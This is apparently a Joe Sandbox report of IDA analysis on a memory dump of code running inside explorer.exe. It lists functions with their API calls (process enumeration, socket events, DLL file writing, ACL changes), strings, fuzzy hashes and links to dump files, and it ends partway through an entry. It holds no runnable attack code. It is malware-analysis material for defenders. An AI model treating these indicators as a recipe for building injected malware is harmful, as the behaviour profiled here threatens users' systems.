Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$lstrlen$AllocCreateErrorLast$DirectoryFileFolderKnownPathTask
String ID: %s%s$P$Spotify.exe
API String ID: 1076749940-165710436
Opcode ID: 32dc2ba4640cc6b29abbf1b903f9919c59af73a514772881ca3c4c76981817d0
Instruction ID: c9901924cc782295b7fccd0783cf82a71323cd3bd38b2c902031e50dd40073dd
Opcode Fuzzy Hash: 32dc2ba4640cc6b29abbf1b903f9919c59af73a514772881ca3c4c76981817d0
Instruction Fuzzy Hash: 4851BB72108B4582EB189F59F45439ABBA1F7857A4F504325E7B986AE8CF7CD486CF00

Function 011995E0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 95memorystringCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 01199603
lstrlenW.KERNEL32 ref: 0119962E
CoTaskMemFree.COMBASE ref: 011997CC

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

CreateDirectoryW.KERNEL32 ref: 01199677
GetLastError.KERNEL32 ref: 0119969C
LocalAlloc.KERNEL32 ref: 011996B7
lstrlenW.KERNEL32 ref: 011996FA
CreateDirectoryW.KERNEL32 ref: 01199711
LocalAlloc.KERNEL32 ref: 01199736
CoTaskMemFree.COMBASE ref: 01199782
LocalFree.KERNEL32 ref: 01199790
RemoveDirectoryW.KERNEL32 ref: 011997A8
LocalFree.KERNEL32 ref: 011997B6
RemoveDirectoryW.KERNEL32 ref: 011997C1

Strings

\\?\%s , xrefs: 0119965A
%s\System32, xrefs: 011996D9

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: DirectoryFreeLocal$AllocCreateRemoveTasklstrlen$ErrorFolderKnownLastPath_errno_invalid_parameter_noinfo
String ID: %s\System32$\\?\%s
API String ID: 2435737201-2868705786
Opcode ID: cb6a53061595a734b3ffb404d5d524841b0ff543565ec5e479e2d7b72e22f29c
Instruction ID: 3a9ae06411d1e8f70d6fbf718da7fe836c3e9723b34520bfbd9985db950d562b
Opcode Fuzzy Hash: cb6a53061595a734b3ffb404d5d524841b0ff543565ec5e479e2d7b72e22f29c
Instruction Fuzzy Hash: 4341AB36218EC882EB78DF55E8983DEA361F7C4B49F440129D79E86A68DF3CC545CB40

Function 011B3700 Relevance: 27.1, APIs: 18, Instructions: 144networkmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011B3758
und_memcpy.LIBCMTD ref: 011B3788
CreateEventW.KERNEL32 ref: 011B3797
WSAEventSelect.WS2_32 ref: 011B37C1
WSAWaitForMultipleEvents.WS2_32 ref: 011B3807
LocalFree.KERNEL32 ref: 011B382C
CloseHandle.KERNEL32 ref: 011B3837
LocalFree.KERNEL32 ref: 011B3864
CloseHandle.KERNEL32 ref: 011B386F
CloseHandle.KERNEL32 ref: 011B39A2
LocalFree.KERNEL32 ref: 011B39AD

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$Event$AllocCreateEventsMultipleSelectWaitund_memcpy
String ID:
API String ID: 3749125693-0
Opcode ID: ab3eea892a186c8f415dfd69d647a73de8c8795c931a51a3e3e063b1915f807a
Instruction ID: fced647d15f7a325750b2b02ae38b4e45193fb4d453415cc59be3f36d19fd668
Opcode Fuzzy Hash: ab3eea892a186c8f415dfd69d647a73de8c8795c931a51a3e3e063b1915f807a
Instruction Fuzzy Hash: 81712876228A848BD768DF18E48439AB7B0F7C5B94F104129FB9A83B68DB7DC445CF00

Function 01199AC0 Relevance: 26.3, APIs: 13, Strings: 2, Instructions: 77memoryfilesynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 01199AD5
SHGetKnownFolderPath.SHELL32 ref: 01199AF7
LocalAlloc.KERNEL32 ref: 01199B0F
CreateFileW.KERNEL32 ref: 01199B82
CloseHandle.KERNEL32 ref: 01199BB6
LocalFree.KERNEL32 ref: 01199BCA
CoTaskMemFree.COMBASE ref: 01199BD5
OpenEventW.KERNEL32 ref: 01199BE9
SetEvent.KERNEL32 ref: 01199C01
CloseHandle.KERNEL32 ref: 01199C0C
CloseHandle.KERNEL32 ref: 01199C21
LocalFree.KERNEL32 ref: 01199C2C
CoTaskMemFree.COMBASE ref: 01199C37

Strings

%s\%s, xrefs: 01199B37
{29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}, xrefs: 01199BDB

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Free$CloseHandleLocal$EventTask$AllocCreateFileFolderKnownObjectOpenPathSingleWait
String ID: %s\%s${29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}
API String ID: 2734627627-2176222248
Opcode ID: 912e0dc201dffbad20480d1b529e4bd6e96b9eb1640e8f8740d2ceca69766de1
Instruction ID: 7bae667cb28f522e950f261fde0b503bd9664201a79b3a3afb7dcc1018ce71e3
Opcode Fuzzy Hash: 912e0dc201dffbad20480d1b529e4bd6e96b9eb1640e8f8740d2ceca69766de1
Instruction Fuzzy Hash: 9241DE31104A8582EB28AF55F8593DAB7A1F7C5779F500329E7BA46AE4CF7DC486CB00

Function 011B39D0 Relevance: 25.6, APIs: 17, Instructions: 138networkmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011B3A28
und_memcpy.LIBCMTD ref: 011B3A58
CreateEventW.KERNEL32 ref: 011B3A67
WSAEventSelect.WS2_32 ref: 011B3AA9
WSAWaitForMultipleEvents.WS2_32 ref: 011B3AD7
LocalFree.KERNEL32 ref: 011B3AFC
CloseHandle.KERNEL32 ref: 011B3B07
LocalFree.KERNEL32 ref: 011B3B34
CloseHandle.KERNEL32 ref: 011B3B3F
LocalFree.KERNEL32 ref: 011B3B79
CloseHandle.KERNEL32 ref: 011B3B84
CloseHandle.KERNEL32 ref: 011B3C4F
LocalFree.KERNEL32 ref: 011B3C5A

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$Event$AllocCreateEventsMultipleSelectWaitund_memcpy
String ID:
API String ID: 3749125693-0
Opcode ID: 3debd0d67c792c8ed78d53c9fb1e462fadb46e27df6da0f3ab6e728a298b66de
Instruction ID: f583519df44dd3d1bcae6d090553f89ee116fcf43973d2641bebedfdd523771d
Opcode Fuzzy Hash: 3debd0d67c792c8ed78d53c9fb1e462fadb46e27df6da0f3ab6e728a298b66de
Instruction Fuzzy Hash: 34611776228A848BD768DF19E48439AB7B0F7C5B94F104129FB9A83B68CB7DC455CF00

Function 011A74C0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 107filememorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011A74F0
lstrcpyW.KERNEL32 ref: 011A75E5
StrStrIW.SHLWAPI ref: 011A75F7
CreateFileW.KERNEL32 ref: 011A7637
WriteFile.KERNEL32 ref: 011A7676
CloseHandle.KERNEL32 ref: 011A7694
LocalFree.KERNEL32 ref: 011A769F
CloseHandle.KERNEL32 ref: 011A76B4
LocalFree.KERNEL32 ref: 011A76E0

Strings

.DLL, xrefs: 011A75EB

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$CloseFileFreeHandle$AllocCreateWritelstrcpy
String ID: .DLL
API String ID: 3665100274-899428287
Opcode ID: fadf7f4ced62afc3b5a9d5cf5047a3c075f10af8471f2c9751082e67500787e9
Instruction ID: d4f9a81e87c932e3dfceefa904636de998290c273cd79eca637867d81e950db5
Opcode Fuzzy Hash: fadf7f4ced62afc3b5a9d5cf5047a3c075f10af8471f2c9751082e67500787e9
Instruction Fuzzy Hash: 7B511676208A84C6D729DB18F8843DAB7A1F388798F400225E7DD87BA8DB7DC595CB00

Function 011AD420 Relevance: 21.1, APIs: 14, Instructions: 92memorynetworkCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011AD447
type_info::_name_internal_method.LIBCMTD ref: 011AD481
LocalFree.KERNEL32 ref: 011AD498
inet_addr.WS2_32 ref: 011AD4BF
gethostbyname.WS2_32 ref: 011AD4D3
LocalFree.KERNEL32 ref: 011AD4EB

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Allocgethostbynameinet_addrtype_info::_name_internal_method
String ID:
API String ID: 156840946-0
Opcode ID: 098c5ea84026b567fb2971d524b6f063d13c904a181ddb1c622f1b57d480886b
Instruction ID: 4d39b6a8363a61b68098eb7a2f2ae6e1984eeb051616a6a180a1bc6076313814
Opcode Fuzzy Hash: 098c5ea84026b567fb2971d524b6f063d13c904a181ddb1c622f1b57d480886b
Instruction Fuzzy Hash: 9341A876618E4486DB24DB25F48435AB7B0F7C8B98F500625EA8E83B28DF3CC5418B00

Function 011B2610 Relevance: 21.1, APIs: 14, Instructions: 65synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011B262F
WaitForSingleObject.KERNEL32 ref: 011B264B
CloseHandle.KERNEL32 ref: 011B2662
SetEvent.KERNEL32 ref: 011B2679
WaitForSingleObject.KERNEL32 ref: 011B2695
CloseHandle.KERNEL32 ref: 011B26AC
CloseHandle.KERNEL32 ref: 011B26C3
SetEvent.KERNEL32 ref: 011B26DA
WaitForSingleObject.KERNEL32 ref: 011B26F6
CloseHandle.KERNEL32 ref: 011B270D
SetEvent.KERNEL32 ref: 011B2724
WaitForSingleObject.KERNEL32 ref: 011B2740
CloseHandle.KERNEL32 ref: 011B2757
CloseHandle.KERNEL32 ref: 011B276E

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 6516c26c68dd897548ead927ca7065ad2063d221f15682583de06161732488cb
Instruction ID: 6f407d3e16cd725d7773616dcd92840e552feadbcd761eedfa853d9f7c7713a6
Opcode Fuzzy Hash: 6516c26c68dd897548ead927ca7065ad2063d221f15682583de06161732488cb
Instruction Fuzzy Hash: 66413C74210D0882F71DBB29ED987E46765FB90B59F540239E72A866B0CF7D98CBC740

Function 0119F660 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 0119F67A
LocalAlloc.KERNEL32 ref: 0119F692
wnsprintfW.SHLWAPI ref: 0119F6CF
LocalFree.KERNEL32 ref: 0119F76B

Part of subcall function 0119ECE0: AllocateAndInitializeSid.ADVAPI32 ref: 0119ED6A
Part of subcall function 0119ECE0: SetEntriesInAclW.ADVAPI32 ref: 0119EDE6
Part of subcall function 0119ECE0: LocalAlloc.KERNEL32 ref: 0119EE01
Part of subcall function 0119ECE0: InitializeSecurityDescriptor.ADVAPI32 ref: 0119EE27
Part of subcall function 0119ECE0: SetSecurityDescriptorDacl.ADVAPI32 ref: 0119EE46

CreateDirectoryW.KERNEL32 ref: 0119F713
GetLastError.KERNEL32 ref: 0119F71E
LocalFree.KERNEL32 ref: 0119F730
LocalFree.KERNEL32 ref: 0119F73B
CoTaskMemFree.COMBASE ref: 0119F746
LocalFree.KERNEL32 ref: 0119F760
CoTaskMemFree.COMBASE ref: 0119F776

Strings

%s\%s, xrefs: 0119F6BE

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocDescriptorInitializeSecurityTask$AllocateCreateDaclDirectoryEntriesErrorFolderKnownLastPathwnsprintf
String ID: %s\%s
API String ID: 161627884-4073750446
Opcode ID: 97f7bb4be75a825a017a6bf767e0d77951ba7becd1f95d9ba2ae187a95026964
Instruction ID: ce026f9075a8c0bccdb7d66972b1ad2803664245da1defe68a753da2186a1645
Opcode Fuzzy Hash: 97f7bb4be75a825a017a6bf767e0d77951ba7becd1f95d9ba2ae187a95026964
Instruction Fuzzy Hash: 0A31EA75128E8582EB58AF14E8843DE7761F7C4B89F500425F79A86A68DF7DC446CB00

Function 011A6520 Relevance: 20.1, APIs: 16, Instructions: 141stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0119F790: SHGetKnownFolderPath.SHELL32(?,?,?,?,?,?,?,?,011A6834), ref: 0119F7AF
Part of subcall function 0119F790: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,011A6834), ref: 0119F7C3
Part of subcall function 0119F790: wnsprintfW.SHLWAPI ref: 0119F7FC
Part of subcall function 0119F790: lstrlenW.KERNEL32 ref: 0119F80B
Part of subcall function 0119F790: CoTaskMemFree.COMBASE ref: 0119F81D

Part of subcall function 011A5AA0: LocalAlloc.KERNEL32 ref: 011A5ADE
Part of subcall function 011A5AA0: LocalAlloc.KERNEL32 ref: 011A5AFF
Part of subcall function 011A5AA0: wnsprintfW.SHLWAPI ref: 011A5B3F
Part of subcall function 011A5AA0: wnsprintfW.SHLWAPI ref: 011A5B5D
Part of subcall function 011A5AA0: LocalFree.KERNEL32 ref: 011A64D6

LocalFree.KERNEL32 ref: 011A659C
LocalFree.KERNEL32 ref: 011A65AF
LocalAlloc.KERNEL32 ref: 011A6607
LocalAlloc.KERNEL32 ref: 011A6628
lstrcpyW.KERNEL32 ref: 011A6660
lstrcpyW.KERNEL32 ref: 011A6679
lstrcpyW.KERNEL32 ref: 011A6692
LocalFree.KERNEL32 ref: 011A6750
LocalFree.KERNEL32 ref: 011A675B
LocalFree.KERNEL32 ref: 011A6766
LocalFree.KERNEL32 ref: 011A677A
LocalFree.KERNEL32 ref: 011A6785
VirtualFree.KERNEL32 ref: 011A67C5
LocalFree.KERNEL32 ref: 011A67D0
LocalFree.KERNEL32 ref: 011A67DB
LocalFree.KERNEL32 ref: 011A67E6

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$lstrcpywnsprintf$FolderKnownPathTaskVirtuallstrlen
String ID:
API String ID: 2329222747-0
Opcode ID: b2b08f411e76d6a630806418241aaa0efaa41a980625a12dbe5a1e2a6f1351cf
Instruction ID: e52f5c60e4ae20f7eed17e807abe8187e73bb3da7924f3f3ccf1a6786cb7c088
Opcode Fuzzy Hash: b2b08f411e76d6a630806418241aaa0efaa41a980625a12dbe5a1e2a6f1351cf
Instruction Fuzzy Hash: 2D71E47A228E8482DB18DF55F49439ABB61F7C4B94F544125EB8A83B68DF7CC489CF40

Function 01191D90 Relevance: 19.7, APIs: 13, Instructions: 157stringprocessmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 01191DE5
CreateToolhelp32Snapshot.KERNEL32 ref: 01191E0C
Process32FirstW.KERNEL32 ref: 01191E35
CloseHandle.KERNEL32 ref: 01192091

Part of subcall function 011932E0: type_info::_name_internal_method.LIBCMTD ref: 0119332E

lstrcmpiW.KERNEL32 ref: 01191F13
lstrcpyW.KERNEL32 ref: 01191F63
_LDint.LIBCPMTD ref: 01191F75
lstrcpyW.KERNEL32 ref: 01191FB2

Part of subcall function 01192290: construct.LIBCPMTD ref: 01192346

StrCatW.SHLWAPI ref: 01192006
StrCatW.SHLWAPI ref: 01192019
Process32NextW.KERNEL32 ref: 0119207E
LocalFree.KERNEL32 ref: 011920A3
std::rethrow_exception.LIBCMTD ref: 011920C4

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: LocalProcess32lstrcpy$AllocCloseCreateDintFirstFreeHandleNextSnapshotToolhelp32constructlstrcmpistd::rethrow_exceptiontype_info::_name_internal_method
String ID:
API String ID: 572146554-0
Opcode ID: 20566815292768ddb19e3fe208de43c1b9bb3c51e70477ea2d05641755ccb36c
Instruction ID: 224216776de8c12c743778cba3ee6d451239d4a5a62232e428fcc5f7b73112df
Opcode Fuzzy Hash: 20566815292768ddb19e3fe208de43c1b9bb3c51e70477ea2d05641755ccb36c
Instruction Fuzzy Hash: 8771FD72209A85A2DB38DB14E8943DEB361F7D4798F404226D79D87AA8EF7CC645CB40

Function 011BE240 Relevance: 19.6, APIs: 13, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMT ref: 011BE298

Part of subcall function 011C1DD4: free.LIBCMT ref: 011C1DF2
Part of subcall function 011C1DD4: free.LIBCMT ref: 011C1E04
Part of subcall function 011C1DD4: free.LIBCMT ref: 011C1E16
Part of subcall function 011C1DD4: free.LIBCMT ref: 011C1E28
Part of subcall function 011C1DD4: free.LIBCMT ref: 011C1E3A
Part of subcall function 011C1DD4: free.LIBCMT ref: 011C1E4C
Part of subcall function 011C1DD4: free.LIBCMT ref: 011C1E5E
Part of subcall function 011C1DD4: free.LIBCMT ref: 011C1E70
Part of subcall function 011C1DD4: free.LIBCMT ref: 011C1E82
Part of subcall function 011C1DD4: free.LIBCMT ref: 011C1E94
Part of subcall function 011C1DD4: free.LIBCMT ref: 011C1EA9
Part of subcall function 011C1DD4: free.LIBCMT ref: 011C1EBE
Part of subcall function 011C1DD4: free.LIBCMT ref: 011C1ED3

free.LIBCMT ref: 011BE28C

Part of subcall function 011BC600: RtlFreeHeap.NTDLL(?,?,00000000,011BAD80,?,?,00000000,011BADA3,?,?,?,011B9533,?,?,00000000,011B9D8B), ref: 011BC616
Part of subcall function 011BC600: _errno.LIBCMT ref: 011BC620
Part of subcall function 011BC600: GetLastError.KERNEL32(?,?,00000000,011BAD80,?,?,00000000,011BADA3,?,?,?,011B9533,?,?,00000000,011B9D8B), ref: 011BC628

free.LIBCMT ref: 011BE2AE
__free_lconv_num.LIBCMT ref: 011BE2BA
free.LIBCMT ref: 011BE2C6
free.LIBCMT ref: 011BE2D2
free.LIBCMT ref: 011BE2F6
free.LIBCMT ref: 011BE30A
free.LIBCMT ref: 011BE319
free.LIBCMT ref: 011BE325
free.LIBCMT ref: 011BE352
free.LIBCMT ref: 011BE37A
free.LIBCMT ref: 011BE394

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: free$ErrorFreeHeapLast__free_lconv_mon__free_lconv_num_errno
String ID:
API String ID: 518839503-0
Opcode ID: cc960a244bba1296957b4ba8555efbb7737ec31058a46dae0789a04b08781b71
Instruction ID: 7dc608d96ce2035b2b5e0d43347616bdd6dddd184e6c13cc3635041a4056b052
Opcode Fuzzy Hash: cc960a244bba1296957b4ba8555efbb7737ec31058a46dae0789a04b08781b71
